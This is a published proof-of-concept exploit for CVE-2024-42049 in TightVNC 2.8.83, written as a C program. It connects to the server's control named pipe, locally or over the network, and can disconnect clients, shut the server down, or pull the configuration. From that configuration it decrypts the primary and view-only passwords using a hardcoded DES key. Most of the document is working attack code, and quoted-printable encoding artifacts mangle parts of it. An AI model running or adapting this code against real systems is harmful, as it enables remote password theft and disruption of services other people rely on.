📄 TightVNC 2.8.83 Control Pipe Manipulation

# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
    # Date: 06/09/2025
    # Exploit Author: Ionut Zevedei ([email protected])
    # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
    # Vendor Homepage: https://www.tightvnc.com/
    # Software Link: https://www.tightvnc.com/download.php
    # Version: 2.8.83
    # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
    # CVE : CVE-2024-42049
    
    #include <windows.h>=20
    #include <stdio.h>
    #include <conio.h>
    #include <tchar.h>
    #include "descrypt.h"
    
    #define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
    #define BUFFER_SIZE 512
    
    #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
    #define TVNC_CMD_GET_CLIENT_LIST        0x04
    #define TVNC_CMD_SHUTDOWN_SERVER        0x07
    #define TVNC_CMD_GET_SERVER_INFO        0x11
    #define TVNC_CMD_GET_CONFIG             0x12
    
    const unsigned int commands[6] =3D {
      TVNC_CMD_DISCONNECT_ALL_CLIENTS,
      TVNC_CMD_GET_CLIENT_LIST,
      TVNC_CMD_SHUTDOWN_SERVER,
      TVNC_CMD_GET_SERVER_INFO,
      TVNC_CMD_GET_CONFIG,
    };
    
    unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };
    
    void get_bytes(unsigned int data, unsigned char* out) {
      out[0] =3D GETBYTE(data, 3);
      out[1] =3D GETBYTE(data, 2);
      out[2] =3D GETBYTE(data, 1);
      out[3] =3D GETBYTE(data, 0);
    }
    
    // printf is wonky when printing passwords later
    void print_passwd(unsigned char* passwd) {
      for (int i =3D 0; i < 8; i++) {
        printf("%c", passwd[i]);
      }
      printf("\n");
    }
    
    void print_error(unsigned long error_code) {
      unsigned char* buffer;
     =20
      // damn it windows...
      FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_code,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &buffer,
        0, NULL);
    
      printf("[error]: %s\n", buffer);
    }
    
    void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
      unsigned char primary_passwd[8] =3D { 0x00 };
      unsigned char view_only_passwd[8] =3D { 0x00 };
    
      printf("\n\tencrypted primary password: ");
      for (int i =3D 0; i < 8; i++) {
        primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
        printf("%02x ", primary_passwd[i]);
      }
      printf("\n\tencrypted view-only password: ");
      for (int i =3D 0; i < 8; i++) {
        view_only_passwd[i] =3D buffer_ptr[offset + i];
        printf("%02x ", view_only_passwd[i]);
      }
    
    
      unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
      unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };
    
      decrypt(primary_passwd_decrypted, view_only_passwd,
        sizeof(primary_passwd_decrypted), des_key);
      decrypt(view_only_passwd_decrypted, primary_passwd,
        sizeof(view_only_passwd_decrypted), des_key);
    
      printf("\n\tdecrypted primary password: ");
      print_passwd(primary_passwd_decrypted);
      printf("\tdecrypted view-only password: ");
      print_passwd(view_only_passwd_decrypted);
    }
    
    BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
      unsigned long pipe_mode;
      BOOL result =3D FALSE;
      printf("[~] opening pipe %s...\n", pipe_name);
    
      while (1) {
        *handle_ptr =3D CreateFile(
          pipe_name,
          GENERIC_READ | GENERIC_WRITE,
          0,
          NULL,
          OPEN_EXISTING,
          FILE_FLAG_OVERLAPPED,
          NULL
        );
    
        if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
          printf("[+] pipe opened\n");
          break;
        }
    
        if (GetLastError() !=3D ERROR_PIPE_BUSY) {
          printf("[-] could not open pipe\n");
          print_error(GetLastError());
          return FALSE;
        }
    
        printf("[~] waiting for named pipe to be available - if this hangs the =
    pipe server might be dead.\n");
    
        WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
      }
    
      pipe_mode =3D PIPE_READMODE_BYTE;
      result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);
    
      if (!result) {
        printf("[-] failed setting pipe read mode\n");
        print_error(GetLastError());
        return result;
      }
    
      return result;
    }
    
    int main(int argc, char* argv[]) {
    
      HANDLE        pipe_handle =3D NULL;
      unsigned char message[8] =3D { 0x00 };
      unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
      BOOL          result =3D FALSE;
      unsigned long bytes_read, bytes_written;
      unsigned int  cmd_index =3D 0;
      unsigned int  offset =3D 30;
    
      if (argc < 3) {
        printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
        printf("offset - optional: default is 30 - change as needed\n");
        printf("commands:\n");
        printf("\t1 - disconnect all clients\n");
        printf("\t2 - get client list\n");
        printf("\t3 - shutdown server\n");
        printf("\t4 - get server info\n");
        printf("\t5 - get server config\n");
        printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
    rol\n");
        printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
        return 0;
      }
    
      char* stop =3D NULL;
      cmd_index =3D strtol(argv[1], &stop, 10);
    
      if (stop =3D=3D '\0') {
        return 0;
      }
    
      cmd_index--;
    
      if (argc =3D=3D 4) {
        stop =3D NULL;
        offset =3D strtol(argv[3], &stop, 10);
    
        if (offset =3D=3D 0 || stop =3D=3D '\0') {
          return 0;
        }
      }
    
      if (!open_pipe(&pipe_handle, argv[2])) {
        goto exit;
      }
    
      printf("[i] sending command...\n");
     =20
      get_bytes(commands[cmd_index], message);
      result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);
    
      if (!result) {
        printf("[-] failed writing to pipe\n");
        print_error(GetLastError());
        goto exit;
      }
    
      printf("[~] message sent; waiting for reply\n");
    
      do {
        result =3D ReadFile(
          pipe_handle,
          buffer,
          BUFFER_SIZE * sizeof(unsigned char),
          &bytes_read,
          NULL
        );
    
        if (!result && GetLastError() !=3D ERROR_MORE_DATA)
          break;
    
        printf("[+] got %d bytes back!\n", bytes_read);
        printf("    hex: \n\t");
    
        for (int i =3D 0; i < bytes_read; i++) {
          printf("%02x ", buffer[i]);
        }
    
        printf("\n    char: \n\t");
        for (int i =3D 0; i < bytes_read; i++) {
          printf("%c", buffer[i]);
        }
        printf("\n\n");
    
        if (cmd_index =3D=3D 4) {
          printf("\n[~] command is get config, attempting to decrypt passwords =
    using offset %d...\n", offset);
          decrypt_passwords(&buffer, offset);
        }
    
        memset(buffer, 0, BUFFER_SIZE);
      } while (!result);
    
      if (!result)
      {
        printf("[-] failed reading from pipe\n");
        print_error(GetLastError());
        goto exit;
      }
    
      printf("\n[+] done\n\n");
    
    exit:
      if (pipe_handle !=3D NULL) {
        CloseHandle(&pipe_handle);
      }
    
      return 0;
    }